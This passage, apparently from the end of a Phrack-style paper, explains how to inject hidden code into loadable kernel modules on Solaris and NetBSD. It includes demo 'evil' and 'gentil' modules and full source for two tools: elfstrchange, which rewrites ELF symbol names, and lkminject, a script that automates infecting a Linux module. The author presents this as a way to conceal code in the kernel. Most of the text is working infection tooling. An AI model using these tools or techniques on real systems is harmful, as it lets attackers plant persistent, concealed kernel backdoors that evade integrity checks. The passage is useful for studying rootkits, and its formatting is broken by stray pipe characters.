|
The injecting part using ld:
|
||
|
|
||
|
$ ld -r -o evil mod inject
|
||
|
|
||
|
Load the module:
|
||
|
|
||
|
# modload evil
|
||
|
# tail -f /var/adm/messages
|
||
|
Jul 15 10:58:33 luna unix: NOTICE: mod: successfully installed
|
||
|
Jul 15 10:58:33 luna unix: NOTICE: evil: successfully installed
|
||
|
|
||
|
|
||
|
The same operation can be carried out for the _fini function to inject
|
||
|
a complete module into another one.
|
||
|
|
||
|
|
||
|
|
||
|
----[ 5.2 - *BSD
|
||
|
|
||
|
------[ 5.2.1 - FreeBSD
|
||
|
|
||
|
% uname -srm
|
||
|
FreeBSD 4.8-STABLE i386
|
||
|
|
||
|
% file /modules/daemon_saver.ko
|
||
|
daemon_saver.ko: ELF 32-bit LSB shared object, Intel 80386, version 1
|
||
|
(FreeBSD), not stripped
|
||
|
|
||
|
As we can see, FreeBSD kernel modules are shared objects.Thus, we can't
|
||
|
use ld to link aditionnal code into the module. Furthermore, the mechanism
|
||
|
which is in use to load a module is completely different from the one used
|
||
|
on Linux or Solaris systems. You can have a look to it in
|
||
|
/usr/src/sys/kern/kern_linker.c . Any name can be used for the init/cleanup
|
||
|
function. At initialisation the loader finds the address of the init
|
||
|
function into a structure stored in the .data section. Then the .strtab
|
||
|
hack can't be used too.
|
||
|
|
||
|
|
||
|
------[ 5.2.2 - NetBSD
|
||
|
|
||
|
$ file nvidia.o
|
||
|
nvidia.o: ELF 32-bit LSB relocatable, Intel 80386, version 1
|
||
|
(SYSV), not stripped
|
||
|
|
||
|
We can inject code into a NetBSD kernel module because it's a
|
||
|
relocatable ELF object. When modload loads a kernel module it links it
|
||
|
with the kernel and execute the code placed at the entry point of the
|
||
|
module (located in the ELF header).
|
||
|
After the link operation we can change this entry point, but it is not
|
||
|
necessary because modload has a special option (-e) that allows to tell
|
||
|
it which symbol to use for the entry point.
|
||
|
|
||
|
Here's the example module we are going to infect:
|
||
|
|
||
|
$ cat gentil_lkm.c
|
||
|
#include <sys/cdefs.h>
|
||
|
#include <sys/param.h>
|
||
|
#include <sys/ioctl.h>
|
||
|
#include <sys/systm.h>
|
||
|
#include <sys/conf.h>
|
||
|
#include <sys/lkm.h>
|
||
|
|
||
|
MOD_MISC("gentil");
|
||
|
|
||
|
int gentil_lkmentry(struct lkm_table *, int, int);
|
||
|
int gentil_lkmload(struct lkm_table *, int);
|
||
|
int gentil_lkmunload(struct lkm_table *, int);
|
||
|
int gentil_lkmstat(struct lkm_table *, int);
|
||
|
|
||
|
int gentil_lkmentry(struct lkm_table *lkmt, int cmd, int ver)
|
||
|
{
|
||
|
DISPATCH(lkmt, cmd, ver, gentil_lkmload, gentil_lkmunload,
|
||
|
gentil_lkmstat);
|
||
|
}
|
||
|
|
||
|
int gentil_lkmload(struct lkm_table *lkmt, int cmd)
|
||
|
{
|
||
|
printf("gentil: Hello, world!\n");
|
||
|
return (0);
|
||
|
}
|
||
|
|
||
|
int gentil_lkmunload(struct lkm_table *lkmt, int cmd)
|
||
|
{
|
||
|
printf("gentil: Goodbye, world!\n");
|
||
|
return (0);
|
||
|
}
|
||
|
|
||
|
int gentil_lkmstat(struct lkm_table *lkmt, int cmd)
|
||
|
{
|
||
|
printf("gentil: How you doin', world?\n");
|
||
|
return (0);
|
||
|
}
|
||
|
|
||
|
|
||
|
Here's the code that will be injected:
|
||
|
|
||
|
$ cat evil_lkm.c
|
||
|
#include <sys/cdefs.h>
|
||
|
#include <sys/param.h>
|
||
|
#include <sys/ioctl.h>
|
||
|
#include <sys/systm.h>
|
||
|
#include <sys/conf.h>
|
||
|
#include <sys/lkm.h>
|
||
|
|
||
|
int gentil_lkmentry(struct lkm_table *, int, int);
|
||
|
|
||
|
int
|
||
|
inject_entry(struct lkm_table *lkmt, int cmd, int ver)
|
||
|
{
|
||
|
switch(cmd) {
|
||
|
case LKM_E_LOAD:
|
||
|
printf("evil: in place\n");
|
||
|
break;
|
||
|
case LKM_E_UNLOAD:
|
||
|
printf("evil: i'll be back!\n");
|
||
|
break;
|
||
|
case LKM_E_STAT:
|
||
|
printf("evil: report in progress\n");
|
||
|
break;
|
||
|
default:
|
||
|
printf("edit: unknown command\n");
|
||
|
break;
|
||
|
}
|
||
|
|
||
|
return gentil_lkmentry(lkmt, cmd, ver);
|
||
|
}
|
||
|
|
||
|
After compiling gentil and evil we link them together:
|
||
|
|
||
|
$ ld -r -o evil.o gentil.o inject.o
|
||
|
$ mv evil.o gentil.o
|
||
|
|
||
|
# modload -e evil_entry gentil.o
|
||
|
Module loaded as ID 2
|
||
|
|
||
|
# modstat
|
||
|
Type Id Offset Loadaddr Size Info Rev Module Name
|
||
|
DEV 0 -1/108 d3ed3000 0004 d3ed3440 1 mmr
|
||
|
DEV 1 -1/180 d3fa6000 03e0 d4090100 1 nvidia
|
||
|
MISC 2 0 e45b9000 0004 e45b9254 1 gentil
|
||
|
|
||
|
# modunload -n gentil
|
||
|
|
||
|
# dmesg | tail
|
||
|
evil: in place
|
||
|
gentil: Hello, world!
|
||
|
evil: report in progress
|
||
|
gentil: How you doin', world?
|
||
|
evil: i'll be back!
|
||
|
gentil: Goodbye, world!
|
||
|
|
||
|
|
||
|
Ok, everything worked like a charm :)
|
||
|
|
||
|
|
||
|
------[ 5.2.3 - OpenBSD
|
||
|
|
||
|
OpenBSD don't use ELF on x86 architectures, so the tech cannot be used.
|
||
|
I've not tested on platforms that use ELF but i think that it looks like
|
||
|
NetBSD, so the tech can certainly be applied. Tell me if you manage to do
|
||
|
it on OpenBSD ELF.
|
||
|
|
||
|
|
||
|
|
||
|
--[ 6 - Conclusion
|
||
|
|
||
|
This paper has enlarged the number of techniques that allows to
|
||
|
dissimulate code into the kernel. I have presented this technique because
|
||
|
it is interesting to do it with very few and easy manipulations.
|
||
|
Have fun when playing with it :)
|
||
|
|
||
|
|
||
|
|
||
|
--[ 7 - Greetings
|
||
|
|
||
|
I want to thanks mycroft, OUAH, aki and afrique for their comments and
|
||
|
ideas. Also a big thanks to klem for teaching me reverse engineering.
|
||
|
Thanks to FXKennedy for helping me with NetBSD.
|
||
|
A big kiss to Carla for being wonderfull.
|
||
|
And finally, thanks to all #root people, `spud, hotfyre, funka, jaia,
|
||
|
climax, redoktober ...
|
||
|
|
||
|
|
||
|
|
||
|
--[ 8 - References
|
||
|
|
||
|
|
||
|
[1] Weakening the Linux Kernel by Plaguez
|
||
|
http://www.phrack.org/show.php?p=52&a=18
|
||
|
|
||
|
[2] The Adore rootkit by stealth
|
||
|
http://stealth.7350.org/rootkits/
|
||
|
|
||
|
[3] Runtime kernel kmem patching by Silvio Cesare
|
||
|
http://vx.netlux.org/lib/vsc07.html
|
||
|
|
||
|
[4] Static Kernel Patching by jbtzhm
|
||
|
http://www.phrack.org/show.php?p=60&a=8
|
||
|
|
||
|
[5] Tool interface specification on ELF
|
||
|
http://segfault.net/~scut/cpu/generic/TIS-ELF_v1.2.pdf
|
||
|
|
||
|
[6] Modutils for 2.4.x kernels
|
||
|
ftp://ftp.kernel.org/pub/linux/utils/kernel/modutils/v2.4
|
||
|
|
||
|
[7] Tripwire
|
||
|
http://www.tripwire.org
|
||
|
|
||
|
[8] Solaris Loadable Kernel Modules by Plasmoid
|
||
|
http://www.thc.org/papers/slkm-1.0.html
|
||
|
|
||
|
|
||
|
|
||
|
--[ 9 - Codes
|
||
|
|
||
|
----[ 9.1 - ElfStrChange
|
||
|
|
||
|
/*
|
||
|
* elfstrchange.c by truff <truff@projet7.org>
|
||
|
* Change the value of a symbol name in the .strtab section
|
||
|
*
|
||
|
* Usage: elfstrchange elf_object sym_name sym_name_replaced
|
||
|
*
|
||
|
*/
|
||
|
|
||
|
#include <stdlib.h>
|
||
|
#include <stdio.h>
|
||
|
#include <elf.h>
|
||
|
|
||
|
#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }
|
||
|
|
||
|
|
||
|
int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
|
||
|
Elf32_Shdr *shstrtable, char *res, size_t len);
|
||
|
|
||
|
Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
|
||
|
Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);
|
||
|
|
||
|
Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
|
||
|
Elf32_Shdr *strtable, char *res, size_t len);
|
||
|
|
||
|
|
||
|
int main (int argc, char **argv)
|
||
|
{
|
||
|
int i;
|
||
|
int len = 0;
|
||
|
char *string;
|
||
|
FILE *fd;
|
||
|
Elf32_Ehdr hdr;
|
||
|
Elf32_Shdr symtab, strtab;
|
||
|
Elf32_Sym sym;
|
||
|
Elf32_Off symoffset;
|
||
|
|
||
|
fd = fopen (argv[1], "r+");
|
||
|
if (fd == NULL)
|
||
|
FATAL ("fopen");
|
||
|
|
||
|
if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1)
|
||
|
FATAL ("Elf header corrupted");
|
||
|
|
||
|
if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == -1)
|
||
|
{
|
||
|
fprintf (stderr, "Can't get .symtab section\n");
|
||
|
exit (EXIT_FAILURE);
|
||
|
}
|
||
|
|
||
|
if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == -1)
|
||
|
{
|
||
|
fprintf (stderr, "Can't get .strtab section\n");
|
||
|
exit (EXIT_FAILURE);
|
||
|
}
|
||
|
|
||
|
|
||
|
symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym);
|
||
|
if (symoffset == -1)
|
||
|
{
|
||
|
fprintf (stderr, "Symbol %s not found\n", argv[2]);
|
||
|
exit (EXIT_FAILURE);
|
||
|
}
|
||
|
|
||
|
|
||
|
printf ("[+] Symbol %s located at 0x%x\n", argv[2], symoffset);
|
||
|
|
||
|
if (fseek (fd, symoffset, SEEK_SET) == -1)
|
||
|
FATAL ("fseek");
|
||
|
|
||
|
if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3]))
|
||
|
FATAL ("fwrite");
|
||
|
|
||
|
printf ("[+] .strtab entry overwriten with %s\n", argv[3]);
|
||
|
|
||
|
fclose (fd);
|
||
|
|
||
|
return EXIT_SUCCESS;
|
||
|
}
|
||
|
|
||
|
Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
|
||
|
Elf32_Shdr *strtab, char *name, Elf32_Sym *sym)
|
||
|
{
|
||
|
int i;
|
||
|
char symname[255];
|
||
|
Elf32_Off offset;
|
||
|
|
||
|
for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++)
|
||
|
{
|
||
|
if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),
|
||
|
SEEK_SET) == -1)
|
||
|
FATAL ("fseek");
|
||
|
|
||
|
if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1)
|
||
|
FATAL ("Symtab corrupted");
|
||
|
|
||
|
memset (symname, 0, sizeof (symname));
|
||
|
offset = ElfGetSymbolName (fd, sym->st_name,
|
||
|
strtab, symname, sizeof (symname));
|
||
|
if (!strcmp (symname, name))
|
||
|
return offset;
|
||
|
}
|
||
|
|
||
|
return -1;
|
||
|
}
|
||
|
|
||
|
|
||
|
int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index,
|
||
|
Elf32_Shdr *shdr)
|
||
|
{
|
||
|
if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize),
|
||
|
SEEK_SET) == -1)
|
||
|
FATAL ("fseek");
|
||
|
|
||
|
if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
|
||
|
FATAL ("Sections header corrupted");
|
||
|
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
|
||
|
int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,
|
||
|
Elf32_Shdr *shdr)
|
||
|
{
|
||
|
int i;
|
||
|
char name[255];
|
||
|
Elf32_Shdr shstrtable;
|
||
|
|
||
|
/*
|
||
|
* Get the section header string table
|
||
|
*/
|
||
|
ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);
|
||
|
|
||
|
memset (name, 0, sizeof (name));
|
||
|
|
||
|
for (i=0; i<ehdr->e_shnum; i++)
|
||
|
{
|
||
|
if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize),
|
||
|
SEEK_SET) == -1)
|
||
|
FATAL ("fseek");
|
||
|
|
||
|
if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
|
||
|
FATAL ("Sections header corrupted");
|
||
|
|
||
|
ElfGetSectionName (fd, shdr->sh_name, &shstrtable,
|
||
|
name, sizeof (name));
|
||
|
if (!strcmp (name, section))
|
||
|
{
|
||
|
return 0;
|
||
|
}
|
||
|
}
|
||
|
return -1;
|
||
|
}
|
||
|
|
||
|
|
||
|
int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
|
||
|
Elf32_Shdr *shstrtable, char *res, size_t len)
|
||
|
{
|
||
|
size_t i = 0;
|
||
|
|
||
|
if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1)
|
||
|
FATAL ("fseek");
|
||
|
|
||
|
while ((i < len) || *res == '\0')
|
||
|
{
|
||
|
*res = fgetc (fd);
|
||
|
i++;
|
||
|
res++;
|
||
|
}
|
||
|
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
|
||
|
Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
|
||
|
Elf32_Shdr *strtable, char *res, size_t len)
|
||
|
{
|
||
|
size_t i = 0;
|
||
|
|
||
|
if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1)
|
||
|
FATAL ("fseek");
|
||
|
|
||
|
while ((i < len) || *res == '\0')
|
||
|
{
|
||
|
*res = fgetc (fd);
|
||
|
i++;
|
||
|
res++;
|
||
|
}
|
||
|
|
||
|
return (strtable->sh_offset + sym_name);
|
||
|
}
|
||
|
/* EOF */
|
||
|
|
||
|
|
||
|
|
||
|
----] 9.2 Lkminject
|
||
|
|
||
|
#!/bin/sh
|
||
|
#
|
||
|
# lkminject by truff (truff@projet7.org)
|
||
|
#
|
||
|
# Injects a Linux lkm into another one.
|
||
|
#
|
||
|
# Usage:
|
||
|
# ./lkminfect.sh original_lkm.o evil_lkm.c
|
||
|
#
|
||
|
# Notes:
|
||
|
# You have to modify evil_lkm.c as explained bellow:
|
||
|
# In the init_module code, you have to insert this line, just after
|
||
|
# variables init:
|
||
|
# dumm_module ();
|
||
|
#
|
||
|
# In the cleanup_module code, you have to insert this line, just after
|
||
|
# variables init:
|
||
|
# dummcle_module ();
|
||
|
#
|
||
|
# http://www.projet7.org - Security Researchs -
|
||
|
###########################################################################
|
||
|
|
||
|
|
||
|
sed -e s/init_module/evil_module/ $2 > tmp
|
||
|
mv tmp $2
|
||
|
|
||
|
sed -e s/cleanup_module/evclean_module/ $2 > tmp
|
||
|
mv tmp $2
|
||
|
|
||
|
# Replace the following line with the compilation line for your evil lkm
|
||
|
# if needed.
|
||
|
make
|
||
|
|
||
|
ld -r $1 $(basename $2 .c).o -o evil.o
|
||
|
|
||
|
./elfstrchange evil.o init_module dumm_module
|
||
|
./elfstrchange evil.o evil_module init_module
|
||
|
./elfstrchange evil.o cleanup_module dummcle_module
|
||
|
./elfstrchange evil.o evclean_module cleanup_module
|
||
|
|
||
|
mv evil.o $1
|
||
|
rm elfstrchange
|
||
|
|
||
|
|=[ EOF ]=---------------------------------------------------------------=|
|
||
|
|